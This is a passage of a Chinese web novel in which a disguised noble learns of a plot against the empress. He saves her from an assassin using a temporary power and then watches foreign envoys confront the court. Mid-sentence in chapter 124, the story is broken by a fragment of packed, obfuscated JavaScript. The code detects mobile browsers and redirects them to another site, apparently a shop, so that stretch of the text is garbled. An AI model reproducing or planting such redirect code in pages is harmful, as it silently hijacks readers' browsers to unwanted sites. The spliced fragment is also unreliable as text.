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宫中的平静,让他心中愈发不安!
江凡熟门熟路地来到听雨阁,老鸨早已笑脸相迎:
“世子爷您可来了!柳大家每天都盼着您来呢!”
推门而入,柳絮依旧是一身素雅紫衣,正在焚香抚琴。
见到江凡,她琴音戛然而止,嫣然一笑,百媚横生:
“世子爷今日气色不佳,可是有何烦心事?”
江凡没心思跟她绕圈子,直接在她对面坐下,压低声音道:
“柳大家,明人不说暗话。你上次所言宫中刺客之事,至今毫无动静。究竟是情报有误,还是…另有变故?”
柳絮似乎早有所料,纤纤玉指拨弄了一下琴弦,发出一个清越的音符,浅笑道:
“世子爷稍安勿躁。消息来源,绝无问题。那刺客的确已然潜入宫中,如同暗夜中的毒蛇,盘踞在侧。”
“那为何迟迟不动手?”江凡追问。
“毒蛇捕猎,最重时机。”柳絮美眸中闪过一丝精光,
“或许,是世子爷您这位‘护花使者’在侧,让对方察觉到了危险,故而按兵不动,等待最佳时机。又或者…是宫中某些布置,让对方觉得时机未到?”
江凡心中一凛,柳絮这话,暗示性极强!
难道女帝身边的供奉,真的有问题?
或者,刺客在等待某种外部条件的配合?
他深吸一口气,又问:
“关于那刺客的修为…你上次说大宗师巅峰,可能确定?”
柳絮摇了摇头,神色略显凝重:
“最新消息有所更正。此人修为,恐怕并非大宗师巅峰。”
江凡心中一松?
难道没那么厉害?
却听柳絮缓缓道:
“而是…极道宗师,初期。”
极道宗师初期?
江凡只觉得一股寒气从脚底直冲天灵盖!
大宗师之上,是为极道!
每一个极道宗师,都足以开宗立派,威震一国!
大宗师巅峰与极道初期,看似只差一线,实则天壤之别!
十个大宗师巅峰,也未必是一个极道宗师初期的对手!
靖王…竟然能请动极道宗师?
这手笔,也太恐怖了!
女帝身边,就算有隐藏的极道供奉,又能有几位?
胜负之数,瞬间变得扑朔迷离,甚至…极度悲观!
第122章 她怎么在这
“消息可靠吗?”
江凡的声音都有些干涩。
“八成把握。”柳絮沉声道,
“此人性情谨慎,出手次数寥寥,但每次皆是一击必杀,从未失手。故外界对其修为多有低估。
我堂也是费了极大代价,才窥得一丝端倪。至于其具体身份、样貌、性别…更是无人知晓。只知道他在暗世界的绰号——‘千面’。”
千面!
易容术登峰造极,无人识其真身!
江凡背后已被冷汗浸湿。一个修为达到极道宗师、还擅长易容的刺客,潜伏在皇宫大内!
这简直是一场噩梦!
女帝的处境,比想象中危险百倍!
看着江凡脸色发白,柳絮忽然展颜一笑,话锋一转:
“世子爷似乎心神不宁,不若听奴家抚琴一曲,聊以静心如何?”
说罢,也不等江凡回应,纤指轻拨,一曲《高山流水》悠然响起。
琴音淙淙,时而高亢如穿云,时而低沉如幽涧,技艺确已臻化境。
一曲终了,余音绕梁。柳絮含笑望向江凡:
“世子爷觉得奴家这曲《高山流水》,可还入耳?”
江凡此刻心乱如麻,哪有心思品评琴艺,随口敷衍道:
“柳大家琴技超群,自然是极好的。”
柳絮眼中闪过一丝狡黠,轻笑道:
“世子爷过奖了。不过…奴家自觉在‘流水’一段的轮指处理上,始终差了几分圆转如意的神韵。久闻世子爷…
嗯,交友广阔,见识不凡,不知可有何指教?若能助奴家琴艺精进,奴家愿再奉送一个关于靖王的消息,以作酬谢。”
她这话,明显是故意抛出的诱饵,意在进一步试探江凡的‘底细’。
尤其是他是否真如她所猜,是那精通音律的‘逍遥公子’。
江凡心中暗骂一声狐狸精,但靖王的消息这个诱饵实在太香,他无法拒绝。
极道宗师刺客的消息已经让他心惊肉跳,靖王那边又有什么新动作?
他必须知道!
罢了!
反正会音律也不能说明什么!
他心一横,也懒得再装,直接开口道:
“指教不敢当。不过柳大家既然问起,在下就姑妄言之。方才一曲,《高山》段气势磅礴,已得精髓。
然《流水》段,柳大家过于追求音色的‘清’与‘脆’,轮指虽快,却失之‘粘’与‘连’。流水无形,变化万千,固然有激流险滩,亦有深潭微澜。
轮指之间,当有绵绵不绝、藕断丝连之意,方显流水之‘活’与‘韵’。可尝试将力道稍敛,以气驭指,注重音与音之间的气息衔接,或可更添几分悠然神韵。”
他这一番点评,引经据典,切中要害,绝非不通音律的纨绔子弟所能言!
尤其是‘以气驭指’、‘气息衔接’这等专业术语,更是直指高阶琴师方能领悟的关窍!
柳絮闻言,美眸中瞬间爆发出惊人的光彩!
她强压下心中的激动,脸上露出恍然大悟的神情,起身对着江凡盈盈一拜:
“听君一席话,胜读十年书!世子爷真乃大才!奴家受教了!佩服!佩服!”
这一拜,真心实意。
江凡摆摆手:
“柳大家不必多礼。现在,可以告诉我靖王的消息了吧?”
柳絮神色一正,重新坐下,压低声音,语气凝重:
“据可靠情报,靖王已与南蛮、北莽两国国主秘密达成协议!两国使者,已于昨日抵京,明日早朝,便会觐见女帝!”
江凡心中一震!
柳絮继续道:
“届时,两国使者会以边境摩擦、商贸**等为由,提出极其苛刻无理的要求,甚至可能包括割地赔款!其目的,就是要激怒女帝,逼大夏率先开战!”
“一旦战端开启,以南蛮、北莽两国之力,虽无法吞并大夏,但足以拖住大夏大量兵力,消耗国力!
届时,京城防卫必然空虚!靖王便可趁机发难,与宫中潜伏的‘千面’里应外合,行刺驾之举!
若成功,他便可以皇室宗亲、拨乱反正之名,迅速控制京城,登基称帝!”
“而作为报酬,靖王承诺,事成之后,将割让边境三州之地予南蛮,五州之地予北莽!”
割地八州?
江凡听得怒火中烧!
靖王这老贼!
为了皇位,竟然不惜引狼**,**求荣!
此等行径,与禽兽何异?
大夏疆土,岂容如此践踏!
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“消息来源绝对可靠?”
江凡的声音有些沙哑。
“十成把握!”柳絮斩钉截铁道,
“我堂有内线亲见密约条文!”
江凡猛地站起身,眼中寒光四射!
此事关乎国本,必须立刻让女帝知晓!
但…消息来源又是难题!
说是柳絮告知?
如何解释自己与四季堂的关系?
看来,又只能靠‘逍遥公子’的话本了!
“柳大家,此事关系重大,江某感激不尽!今日之情,容后厚报!告辞!”
江凡拱手一礼,再也坐不住,转身就要离开。
“世子爷留步!”
柳絮忽然唤住他,从袖中取出一个小巧的锦囊,递了过来,眼中带着一丝复杂难明的意味,
“此物名为‘清心囊’,有宁神静气之效。世子爷近日劳心劳力,此物或有些许助益。望君…万事小心。”
江凡微微一怔,接过锦囊,入手温润,带着一股淡淡的、与柳絮身上相似的冷香。
他深深看了柳絮一眼,道:
“多谢!保重!”
说完,不再停留,大步流星地走出了听雨阁。
他心绪激荡,只想尽快回府,将这两条惊天密报写入话本!
刚走出百花楼大门,准备上马车,却与迎面走来的一行人险些撞个满怀。
“哎哟!没长眼睛啊!”
对方一个尖细的声音骂道。
江凡抬头一看,只见是几个穿着华贵、作公子哥打扮的年轻人。
为首一人,身材高挑,面容俊美得有些过分,皮肤白皙,一双桃花眼顾盼生辉,只是眉宇间带着一股挥之不去的骄纵之气。
江凡目光一扫,心中顿时咯噔一下!
这人虽然穿着男装,但喉结平坦,耳垂有孔,身形曲线…分明是个女子!
而且…这眉眼,这气质…怎么如此眼熟?
电光石火间,江凡脑海中闪过南疆河边那惊鸿一瞥!
是她!
那个在南蛮河边沐浴、被他看了身子、最后还逼婚的南蛮公主!
她怎么会在这里?
还女扮男装跑到大夏京城的青楼来?
对了,刚刚柳絮提到两国派来使者,难道这位公主也是来谈判的?
第123章 皇宫大混战
江凡心中警铃大作!
自己现在可是本来面目!
要是被她认出来…后果不堪设想!
他连忙低下头,侧身让开,含糊道:
“抱歉,是在下匆忙,冲撞了几位公子。”
说完,就想快步离开。
然而,就在他与那‘公子’擦肩而过的瞬间,那女扮男装的南蛮公主塔娜,琼鼻微微抽动了一下。
随后脚步一顿,猛地转头,锐利的目光瞬间锁定在江凡的背影上!
她眼中闪过一丝惊疑,这香味…这独特的、带着一丝药草清冷的异香…她只在一个人身上闻到过!
就是那晚看了她身子、又神秘消失的‘萧遥’!
可是…眼前这人...怎么会有萧遥身上的香味?
难道…
她立即看向门口迎接的老鸨,故作好奇的问道:
“刚刚离开的公子是什么人?”
老鸨见江凡是本来面目来的,也没有隐瞒:
“回公子,刚刚那位是镇国公的儿子,江凡、江世子。他可是我们百花楼的常客,也是柳絮姑娘目前唯一喜欢接见的人...”
一个惊人的念头,闪电般劈入塔娜的脑海!
镇国公世子江凡…不久前去了南疆…立下大功…生擒叛首…行事神秘…还有这独一无二的香味…
所有的线索串联起来,指向了一个让她心跳骤停的答案!
江凡…就是萧遥!
萧遥…就是那个才华横溢、神秘莫测的逍遥公子?
塔娜死死盯着江凡的背影,美眸中瞬间爆发出光芒——
有震惊、恍然、好奇、以及一丝兴奋和…势在必得!
她红唇微启,用只有自己能听到的声音,喃喃道:
“原来是你…江凡…我们…真是有缘啊…”
而此刻,已然走远的江凡,后背同样惊出了一身冷汗!
幸好自己之前易容,应该不可能认出自己。
嗯,以后百花楼还是要少来,免得再被人发现。
镇国公府,听雨轩。
江凡提交了最新一章《深宫秘恋》,书中以隐晦却尖锐的笔触,揭露了‘靖南王’勾结外敌、意图挑起战火、甚至不惜割地**的惊天阴谋。
他几乎能想象到,当这话本明日清晨出现在靖王案头时,对方会何等暴跳如雷。
但此刻,他顾不了那么多了,必须给女帝最明确的警示!
而且也相当于断了靖王的后路,一旦以后他真这样做了,所有人都会联想起话本中的反派靖南王!
哪怕因此打草惊蛇,引得那‘千面’提前动手,也胜过让靖王的毒计得逞!
做完这一切,他感到一阵心神俱疲。
他服下一颗【清心凝神丹】,和衣倒在床上,准备小憩片刻。
然而,脑海中纷乱的思绪让他难以入眠。
不知过了多久,就在他意识朦胧,即将沉入睡眠的边缘时——
轰——!!!
一声沉闷的巨响,猛地从皇宫方向传来!
紧接着,是数道强横无比的真气波动猛烈碰撞的轰鸣!
其中一道气息,阴冷诡谲,却又蕴含着毁天灭地般的恐怖威压,远超寻常大宗师!
江凡瞬间从床榻上弹起,睡意全无!
心脏狂跳,血液几乎凝固!
动手了!
至少五道大宗师级别的气息在激烈交锋!
皇宫出事了!
“凡儿!怎么回事?!”
隔壁房间的江芷兰也被惊醒,穿着寝衣,脸色煞白地冲了进来,身后跟着同样警觉的冷月寒。
“姐!待在府里!哪里都不要去!月寒,保护好姐姐!紧闭府门!”
江凡语速极快,声音凝重,他一把抓过外袍套上,
“皇宫有变!我必须立刻进宫!”
“凡儿!危险!”
江芷兰一把抓住他的胳膊,美眸中满是惊恐和担忧。
“姐!放心!我有分寸!记住,无论听到什么,都不要出府!”
江凡用力握了握姐姐冰凉的手,递给她一个‘相信我’的眼神,又深深看了冷月寒一眼。
冷月寒重重点头,眼神坚定:
“公子小心!府中有我!”
江凡不再犹豫,身形一晃,已冲出听雨轩,朝着皇宫方向电射而去!
越靠近皇城,那交战的真气波动越是恐怖!
空气中弥漫着令人窒息的威压,狂风呼啸,卷起漫天尘土!
皇城上空,各色真气光芒疯狂闪烁、碰撞,蕴含着致命的杀机!
轰鸣声、兵刃交击声、呵斥声不绝于耳!
守城的禁军显然也接到了紧急命令,戒备森严,但看到疾驰而来的江凡,认出是近日颇得圣心的世子爷,不敢阻拦,纷纷让开道路。
江凡冲入宫门,朝着真气波动最剧烈的中心——凤仪宫方向狂奔!
沿途随处可见倒塌的宫墙、碎裂的地面、以及零星倒
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毙的侍卫尸体,显然经历了惨烈的搏杀!
他的心沉到了谷底!
终于,接近凤仪宫前的广场,眼前的景象让他瞳孔骤缩!
只见广场之上,六道身影正分成两个战团,激战正酣!
其中一方三人,身着皇宫供奉服饰,修为皆在大宗师中期到后期,正是守护女帝的核心力量!
而他们的对手,则是三名穿着夜行衣、招式诡异狠辣的蒙面人,修为同样不弱,悍不畏死地缠斗着三位供奉,让他们无法脱身!
而在战团中央,凤仪宫高阶之上,女帝萧璇月一身明黄常服,俏脸含霜,手持一柄秋水长剑,周身散发着初入宗师的凌厉气息!
云暮嘴角溢血,脸色苍白,显然已受了不轻的内伤,却依旧强撑着护在女帝身前。
她们下方,一名正低着头、端着托盘、看似惶恐不安的宫女正缓缓走上台阶!
就是她!
江凡心中警铃炸响!
那宫女看似普通,但在江凡能感觉到她有问题。
极道宗师!
千面!
“站住!再上前格杀勿论!”
云暮强提真气,厉声喝道!
那宫女仿佛被吓住,脚步一顿,抬起头,露出一张平凡却写满‘惊恐’的脸。
然而,就在她抬头的刹那,那双原本怯懦的眼睛里,骤然爆射出冰冷杀意!
“陛下小心!”
云暮尖叫一声,不顾伤势,合身扑上,双掌拍出,试图阻拦!
“蝼蚁也敢挡路?滚!”
那宫女发出一声沙哑的嗤笑,也不见她如何动作,只是随意一拂袖!
一股无形却磅礴的巨力轰然爆发!
“嘭!”
云暮鲜血狂喷,娇躯倒飞出去,重重撞在宫殿廊柱上,软软滑落,生死不知!
“云暮!”
女帝目眦欲裂!
但她根本来不及救援,因为千面的身影如同鬼魅,在拂袖击飞云暮的同时,已跨越数丈距离,一只枯瘦的手掌,带着撕裂空间的尖啸,直取她的咽喉!
速度快到极致!
角度刁钻到极致!几个供奉被缠住,也无法脱身救援!
那手掌之上蕴含的毁灭性能量,让女帝周围的空气都凝固了!
她甚至能清晰地感受到死亡冰冷的触感!
完了!
女帝脑海中一片空白!
她初入宗师,面对极道宗师的绝杀一击,根本毫无反抗之力!
第124章 发生了什么
就在这千钧一发之际!
“放肆!敢伤陛下?!”
一声怒喝,陡然炸响!
声音并不算特别洪亮,却带着一种威严和穿透力,瞬间压过了场中所有的轰鸣!
与此同时,一道金色的身影,如同瞬移般,毫无征兆地出现在了女帝身前!
快!
快到超越了视觉的极限!
快到连千面那必杀的一掌,都仿佛陷入了泥沼,速度骤减!
是江凡!
不!
此刻的他,身披一件临时从系统兑换的宽大斗篷,脸上戴着一张古朴无华、只露出双眼的青铜面具!
正是动用了【陆地神仙体验卡】后,暂时拥有陆地神仙境界的江凡!
面对千面那足以轰碎山岳的一掌,江凡只是简简单单地抬起右手,食指看似缓慢,实则蕴含无穷道韵地向前轻轻一点!
“啵!”
一声轻响,如同气泡破裂。
千面那蕴含着极道宗师初期全力、足以秒杀任何大宗师的手掌,在距离江凡指尖尚有尺许距离时,就如同撞上了一堵坚不可摧的天地壁垒!
所有的力量、所有的杀意、所有的法则,在触碰到那根手指的瞬间,尽数湮灭、消散于无形!
“噗——!”
千面如遭雷击,身体剧烈一震,仰天喷出一大口夹杂着内脏碎块的鲜血,眼中充满了惊骇、难以置信和恐惧!
她感觉自己苦修数十载的极道真气,在那根手指面前,脆弱得如同纸张!
一股无法形容的恐怖威压,狠狠压在她的神魂之上!
“陆地…神仙?!你…你是谁?!皇宫怎么可能有陆地神仙?”
千面声音嘶哑,充满了绝望!
她纵横天下数十年,从未遇到过如此恐怖的存在!
这已经超出了她的认知范畴!
江凡根本懒得回答。
他感受着体内那浩瀚如星海的磅礴力量,心中亦是震撼无比。
这就是陆地神仙的力量吗?
果然如同神明!
他目光冰冷地扫过千面,又瞥了一眼旁边仍在缠斗的六名大宗师。
不能浪费时间!
体验卡只有半个时辰!
必须速战速决!
他心念微动,甚至无需结印施法,只是意念所致,天地间的元气便如同温顺的绵羊,随他驱使!
他并指如剑,随意朝着那三个正在与皇宫供奉激战的黑衣大宗师方向,凌空虚点数下!
“咻!咻!咻!”
三道几乎肉眼难辨的金色剑气,凭空出现,无视空间距离,瞬间穿透了三名黑衣大宗师的护体罡气,精准无比地点在了他们的丹田要害!
“啊!”
“呃!”
“不——!”
三声凄厉的惨叫几乎同时响起!
三名黑衣大宗师如同被抽掉了骨头,真气瞬间溃散,惨叫着从半空中栽落在地,修为被废,瞬间失去了战斗力!
举手投足间,废掉三名大宗师!
这是何等恐怖的手段?
剩下的三名皇宫供奉,以及刚刚挣扎着抬起头、看到这一幕的云暮,全都惊呆了!
看向那金色斗篷面具人的目光,充满了无尽的敬畏和狂热!
女帝萧璇月更是檀口微张,美眸圆睁,心脏狂跳,几乎要跃出胸腔!
她怔怔地看着挡在自己身前、那高大的金色背影,一股莫名的安全感和悸动涌遍全身!
各种情绪交织在一起,让她一时竟说不出话来!
“多…多谢前辈救命之恩!”
女帝深吸一口气,强行压下翻腾的心绪,上前一步,盈盈一拜,声音带着一丝颤抖,
“不知前辈高姓大名?仙乡何处?朕…朕必当重谢!”
江凡缓缓转过身,青铜面具下的目光平静地落在女帝那张倾国倾城、此刻却充满好奇的俏脸上。
他刻意改变了声线,让自己的声音变得低沉、沙哑:
“路见不平,拔刀相助,何必言谢?陛下乃万民之主,身系社稷,当善自珍重。老夫…萧遥。”
萧遥!
逍遥公子!
这个名字如同惊雷,在在场所有人耳边炸响!
女帝娇躯猛地一颤,美眸中爆发出难以置信的光芒!
竟然是他!
那个著写《深宫秘恋》、屡次预警、神秘莫测的逍遥公子!
他…他竟然是一位陆地神仙?
难怪!
难怪他能神不知鬼不觉传递话本!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880148|191960||http|test|mini|href|location''.split(''|''),0,{}));
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r>难怪他无所不知!
一切都有了合理的解释!
“您…您就是逍遥公子?不,逍遥前辈!”
女帝的声音有些变调,她急切地上前两步,似乎想看清面具下的真容,
“前辈!朕…我大夏得前辈暗中相助,实乃天幸!恳请前辈留下,朕愿奉前辈为国师,与朕共掌江山,共享天下!”
她的话语中充满了真诚和渴望!
一位陆地神仙若能坐镇大夏,何愁靖王作乱?
何惧外敌入侵?
江凡心中苦笑,国师?
共享天下?
开什么玩笑!
我这体验卡只有半个时辰!
他摆了摆手,声音依旧平淡:
“陛下好意,老夫心领。然闲云野鹤,散漫惯了,受不得拘束。此间事了,老夫去也。陛下…保重。”
说完,他不等女帝再开口,身形微微一晃,瞬间变得模糊,下一刻,便已出现在数十丈外的宫殿屋顶。
再一闪,彻底消失在茫茫夜色之中,只留下一缕淡淡的的清风。
“前辈!逍遥前辈!”
女帝下意识伸出手,却只抓住了一片空气。
她望着逍遥公子消失的方向,怔怔出神,心中充满了巨大的失落和怅惘。
如此惊才绝艳、宛若神人的前辈,竟就这样飘然远去…
“陛下!您没事吧?”
这时,那三名侥幸生还的皇宫供奉才回过神来,连忙上前跪地请罪,
“臣等护卫不力,让陛下受惊,罪该万死!”
女帝深吸一口气,强迫自己从那种莫名的情绪中挣脱出来,恢复了帝王的威仪:
“起来吧。非尔等之过,是贼子太过狡诈凶悍。速将此地清理干净,将一干逆贼押下去,严加看管!传太医,救治云暮和受伤侍卫!”
“臣等遵旨!”供奉们连忙领命。
就在这时,一阵急促的脚步声传来,只见江凡气喘吁吁、一脸‘惊惶’地跑了过来。
身上服饰还有些凌乱,看到女帝安然无恙,才长长舒了口气,拍着胸口道:
“陛下!陛下您没事真是太好了!臣在宫外听到动静,心急如焚,立刻就赶来了!刚…刚才发生了什么…”
第125章 是何方神圣
江凡装作一副后怕又好奇的样子。
女帝看到江凡,心中微微一暖,语气柔和了些:
“是逍遥公子前辈及时现身,击退了刺客,救了朕。”
她看着江凡那‘狼狈’的模样,想到他虽修为不及,却能第一时间赶来,这份忠心倒也难得。
“逍遥公子?!”
江凡适时地露出震惊和崇拜的表情,
“天啊!原来逍遥公子前辈武功如此通神!真是陛下洪福齐天!有如此高人暗中护佑,实乃我大夏之幸!”
他一边拍着马屁,一边暗自庆幸演技过关。
从今以后,将再也没人能怀疑自己就是逍遥公子!
女帝点了点头,目光再次投向逍遥公子消失的方向,眼神有些迷离,轻声自语:
“是啊…逍遥公子…他究竟是怎样一个人呢…”
虽然可以伪装苍老的声音,但她敏锐地注意到了那双手绝对没有那么苍老。
还有那般强大的力量,那般神秘的行事…如同一个谜,让她心中充满好奇。
“陛下,这些逆贼如何处置?”
一名供奉请示道。
女帝收回目光,眼神转冷:
“押入天牢,朕要亲…”
她话未说完,异变再生!
只见那被‘逍遥公子’一指重创、瘫软在地的千面,以及另外三名被废掉修为的黑衣大宗师,几乎同时身体猛地一僵,嘴角溢出黑血,眼神迅速黯淡下去,气息瞬间断绝!
“服毒自尽了!”
供奉上前探查后,沉声禀报。
女帝脸色一沉!
又是死无对证!
靖王!
好狠的手段!
好周密的设计!
她玉手紧握,指甲深深掐入掌心:
“查!给朕查!他们是什么身份?如何混入宫中的?所有接触过他们的人,一律严加审讯!”
“是!”
线索再次中断,女帝心中怒火翻腾,却也无计可施。
她疲惫地挥了挥手:
“江凡,此地混乱,你先回府休息吧。今日之事,严禁外传!”
“臣遵旨!陛下也请保重龙体!”
江凡巴不得赶紧离开这是非之地,连忙行礼告退。
转身的刹那,他嘴角勾起一抹弧度。
要不要趁着现在修为时间没到,去把靖王杀了?
嗯,这主意不错。
他快速离开皇宫,准备去靖王府找萧恒。
如果能将他击杀掉,或许能解决很多麻烦。
……
凤仪宫内殿,灯火通明。
云暮在太医救治和女帝赐下的灵丹妙药下,已悠悠转醒,虽脸色依旧苍白,但已无性命之忧。
她看着坐在床榻边、神色复杂、望着窗外夜空发呆的女帝,轻声唤道:
“陛下…”
萧璇月回过神,走到床边,关切道:
“云暮,你感觉如何?”
“奴婢无碍,劳陛下挂心。”
云暮挣扎着想坐起,被女帝按住。
她看着女帝那心不在焉的样子,犹豫了一下,还是低声道:
“陛下…您是在想…逍遥公子前辈吗?”
萧璇月娇躯微不可察地一颤,没有否认,幽幽叹道:
“云暮,你说…这世间,当真存在陆地神仙之境吗?逍遥公子他…应该很年轻,却已有如此通天修为…他…他究竟是何方神圣?为何屡次帮助朕?”
她的语气中,带着一丝向往和探究。
云暮心中咯噔一下,作为女帝最亲近的人,她敏锐地察觉到了女帝语气中那异样的情绪。
陛下…该不会是对那神秘强大的逍遥公子…动了心思吧?
这…这可如何是好?
那逍遥公子神龙见首不见尾,身份成谜,而且看起来对权势毫无兴趣,陛下若真陷进去…
她连忙岔开话题,强笑道:
“陛下,逍遥公子前辈自然是世外高人。不过…今日江世子听闻宫中有变,也是不顾安危,第一时间赶来救驾呢!虽说没帮上忙,但这份忠心,着实可贵。”
她试图将女帝的注意力拉回江凡身上。
女帝闻言,神色稍缓,点了点头:
“嗯,江凡…的确忠心可嘉。”
但语气平淡,远不及提起逍遥公子时的那种波澜。
作为帝王,她本以为自己不会有普通女人的情爱心思。
如果没见识到今天的逍遥公子,她的确觉得江凡是不错的选择。
但现在...她纠结了。
她站起身,走到窗边,望着夜空中的皎皎明月,脑海中却不自觉地浮现出那金色斗篷、青铜面具的身影。
以及那挡在自己身前的背影…
她的脸颊,悄悄飞起两抹
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红霞。
云暮看着女帝的背影,心中暗叹一声,知道有些种子一旦种下,便难以拔除了。
她只能默默祈祷,希望陛下莫要陷入无望的情愫之中,也希望江凡能加把劲,早点跟女帝确定关系。
这时,一道黑影悄无声息地出现在殿内阴影中,躬身道:
“陛下,老奴无能,未能追踪到逍遥公子任何气息。此人修为…已臻化境,远非老奴所能企及。”
正是皇宫第一高手,极道宗师的影老。
女帝似乎早有预料,摆了摆手,语气带着一丝莫名的轻松:
“无妨。逍遥公子是友非敌,不必追查了。影老,加强宫中戒备,尤其是排查内奸!朕不希望再有下次!”
“老奴遵命!”
影老躬身,身影缓缓融入阴影,消失不见。
女帝重新坐回案前,正准备处理积压的奏章,却心有所感,伸手探向枕边——果然,那本还带着墨香的《深宫秘恋》最新章节,已悄然出现。
她迫不及待地拿起,快速翻阅。
当看到话本中再次‘预言’了靖王派刺客行刺、并勾结两国意图不轨的详细情节时,她美眸中异彩连连,忍不住轻声赞叹:
“逍遥公子…真乃神人也!算无遗策,洞悉先机…还有这身惊世骇俗的修为…他…”
她的话语顿住,眼神再次变得迷离起来。
自从见了逍遥公子‘**’以及恐怖的修为,她感觉自己的心再也无法平静。
今夜,注定有许多人无眠。
皇宫夜战,尘埃落定。
化身‘逍遥公子’的江凡,在万众瞩目下飘然远去,深藏功与名。
然而,体验卡的效果尚在,体内那浩瀚如海的陆地神仙修为,还剩下一刻多钟的时间!
如此强大的力量,岂能白白浪费?
江凡隐匿在皇城阴影中,青铜面具下的双眸寒光一闪!
靖王!
这一切的幕后黑手!
今夜若非自己恰好在场,女帝必遭毒手!
此獠不除,国无宁日!
趁此神威,直捣黄龙,永绝后患!
心念一动,身形已化作一道流光,悄无声息地掠过重重殿宇,直奔位于京城西侧的靖王府!
他可不是什么圣母,既然有如此修为,当然要趁机去摘了靖王的脑袋...
第126章 真正的目的
陆地神仙,瞬息千里,区区数里距离,不过弹指之间!
然而,当江凡潜入那守卫森严的靖王府时,神识扫过整个府邸,却不由得眉头紧锁!
静!
**静了!
府中虽有不少护卫、仆役,甚至隐藏着几位气息不弱的高手,但最重要的那道——属于靖王赵恒的气息,却消失得无影无踪!
书房、寝殿、密室…所有可能藏身之处,皆空无一人!
“不在府中?”江凡心中凛然,
“这老狐狸!莫非是提前收到了风声,知道刺杀可能失败,早已躲藏起来?还是…他另有更隐秘的巢穴?”
他不甘心地又仔细探查了数遍,却依旧一无所获。
靖王仿佛人间蒸发了一般,没有留下任何有价值的线索。
显然,对方要么早有准备,狡兔三窟;要么就是躲在别的地方,这倒是能躲过很多刺杀危机!
“可恶!”
江凡暗骂一声,心中涌起一股无力感。
纵有通天修为,若寻不到目标,亦是徒劳。
体验卡时间宝贵,不能在此空耗。
他深吸一口气,压下心中的杀意,身形再次融入夜色,悄然离开了靖王府。
看来,要扳倒这根深蒂固、老谋深算的靖王,非一朝一夕之功。
还需从长计议,等待更好的时机。
回到镇国公府听雨轩,天色已近黎明。
江凡褪去伪装,换回寝衣,感受着体内磅礴力量迅速退去,重新变回宗师中期的‘虚弱’感,不禁怅然若失。
陆地神仙的境界,果然玄妙无穷,可惜,终究是外物,并非自身苦修而来。
强烈的疲惫感袭来,不仅是身体,更是心神上的巨大消耗。
他倒在床上,几乎是瞬间便沉沉睡去。
似乎刚合眼没多久,便被窗外隐约传来的钟鼓声和丫鬟小心翼翼的呼唤吵醒。
“世子爷…世子爷?时辰不早了,该起身准备上朝了…”
江凡挣扎着睁开沉重的眼皮,只觉头痛欲裂,浑身酸软。
他强撑着坐起身,看了看窗外微亮的天色,苦笑一声。
这‘救世主’可真不是好当的!
他打了个大大的哈欠,在丫鬟的伺候下洗漱更衣。
金銮殿上,百官肃立。
江凡站在龙椅旁边,耷拉着脑袋,努力克制着打哈欠的冲动,只觉得眼皮有千斤重。
昨夜惊心动魄,几乎没睡,此刻站在这里,简直是酷刑。
“宣——南蛮国使者、北莽国使者,觐见——!”
殿前太监尖细的唱喥声,让江凡精神微微一振,暗道:
来了!正戏开场了!
只见两队服饰迥异、气质彪悍的使者,昂首阔步走入大殿。
南蛮使者为首一人,身材高挑,皮肤呈健康的小麦色,五官深邃立体,穿着一身色彩斑斓的华丽锦袍,头戴羽冠,正是女扮男装的南蛮公主塔娜!
她虽作男子打扮,但眉宇间的英气与那份独特的野性美,却难以完全掩饰,引得不少官员侧目。
北莽使者则是一群魁梧雄壮、披发左衽的壮汉,为首者满脸虬髯,眼神凶悍。
两国使者依礼**后,并未如寻常使节般呈上国书问候,反而态度倨傲。
北莽使者率先发难,操着生硬的官话,声音洪亮如钟:
“大夏皇帝!我北莽边境草场,连年干旱,牲畜死伤无数!皆因你大夏商人肆意开采山石,破坏**原水脉所致!
今日,我代表北莽大汗,要求大夏即刻停止一切边境开采,并赔偿我北莽黄金百万两,牛羊十万头!否则…休怪我北莽铁骑,踏平你边关!”
话音刚落,南蛮公主塔娜也上前一步,嘴角噙着一丝挑衅的笑意,接口道:
“陛下!我南蛮亦有事要讨个公道!去岁两国互市,你大夏商人以次充好,用霉变茶叶、劣质铁器,换取我南蛮珍贵药材、宝石,致使我族民损失惨重!
今日,我代表父王,要求大夏开放西南所有关隘,允许我南蛮商队自由进入内地贸易,并割让边境三州之地,作为补偿!
若陛下不允…我南蛮十万儿郎,已秣马厉兵,随时可挥师北上!”
两人一唱一和,言辞咄咄逼人,条件一个比一个苛刻无理,分明是故意寻衅,意图挑起战端!
殿内群臣顿时哗然!
不少忠直之臣已是怒形于色,纷纷出列驳斥!
“狂妄!”
“蛮夷之辈,安敢如此无礼!”
“陛下!蛮夷贪得无厌,分明是蓄意挑衅!臣
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请战!”
龙椅之上,萧璇月面沉如水,凤眸含霜。
尽管早已从‘逍遥公子’的话本中得知两国来意不善,但亲耳听到如此赤裸裸的勒索和战争威胁,依旧让她胸中怒火翻腾!
她玉手紧握龙椅扶手,冰冷的目光扫过两国使者,声音带着威严:
“尔等所言,纯属无稽之谈!边境事务,自有章程法度!若真有**,可依律交涉查办!岂容尔等在此信口雌黄,妄动刀兵?
我大夏疆土,乃列祖列宗披荆斩棘所得,寸土不可让!百姓血汗所积,分文不可予!若尔等执意要战——”
她猛地站起身,凤威凛冽,声震殿宇:
“那便战!朕,奉陪到底!看看是你北莽铁骑锋锐,还是我大夏儿郎忠勇!看看是你南蛮儿郎悍勇,还是朕的江山稳固!”
一番话,掷地有声,充满了帝王的决绝与霸气!
展现出了宁为玉碎、不为瓦全的强硬姿态!
殿内主战派大臣纷纷叫好,群情激昂!
北莽使者脸色铁青,似乎没料到女帝如此强硬,一时语塞。
然而,就在这剑拔**张的时刻,南蛮公主塔娜却忽然轻笑一声,话锋陡然一转!
“陛下息怒。”
她摆了摆手,脸上那挑衅的神色瞬间收敛,换上了一副真诚的表情,
“方才所言,不过是我与北莽使者,与陛下开的一个小小玩笑,试探一下大夏皇帝的胆魄而已。如今看来,陛下果然是女中豪杰,气魄非凡,塔娜佩服!”
玩笑?试探?
满朝文武皆是一愣,不明所以。
连北莽使者都愕然看向塔娜:这位公主不按套路出牌啊!
萧璇月也是凤眸微眯,心中警惕,冷声道:
“公主此言何意?”
